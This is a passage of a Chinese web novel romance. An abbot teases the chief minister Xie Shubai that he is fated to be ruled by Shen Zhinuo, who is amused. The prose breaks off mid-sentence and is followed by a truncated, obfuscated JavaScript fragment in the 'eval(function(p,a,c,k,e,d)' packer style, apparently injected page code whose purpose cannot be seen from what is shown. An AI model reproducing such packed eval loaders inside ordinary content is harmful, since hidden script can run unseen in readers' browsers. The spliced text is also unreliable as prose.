他指着谢疏白,笑得前俯后仰,连眼泪都快出来了。
“意思就是,这小子拽了这么多年,清高孤傲,目下无尘,到头来竟是个怕夫人的命!”
沈知糯听着这话,心里的那点震惊瞬间被一股想笑的冲动所取代。
怕夫人的命?
谢疏白?
这个在朝堂上能让百官噤声,连陛下都要让他三分的当朝首辅,竟然是个怕夫人的?
这简直是她今年听过最好笑的笑话!
“沈施主,你俩夫妻宫互合,缘分深着呢。”
“可这合啊,合的是他的官星进你的座。”
慧明方丈枯指点着石桌上的纸笺,眼里精光一闪,“人是主动求着要被你绑住的,往后还得被你拿捏得死死的。”
“轰——”
谢疏白的脸瞬间又染上了绯红,从颧骨到脖颈,连领口遮着的那截锁骨都漫上一层薄绯。
他紧抿着薄唇,眸中又是羞又是恼,偏偏对着眼前这个为老不尊的方丈,又发作不得,只能僵硬地坐在那里。
慧明方丈笑够了,才转向沈知糯,那双饱经风霜的眼睛里满是促狭,甚至还冲她俏皮地眨了眨。
“沈丫头,老衲再给你透个底。”
他清了清嗓子,压低了声音,压着嗓子:“他这辈子最怕的,不是朝堂上的刀枪斧钺,也不是圣上的雷霆之怒。”
“而是——”老方丈顿了顿,揶揄地看了红着脸僵住的谢疏白一眼,尾音拖得长长的,故意吊足了胃口。
沈知糯配合地往前凑了凑,“而是什么?”
“你呀!”
沈知糯下意识地看向谢疏白。
男人依旧端坐着,脊背挺得笔直,姿态无可挑剔,可垂在身侧那只手,指节早已攥得发白,青筋隐隐在跳动。
慧明方丈却好似浑然不觉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){ret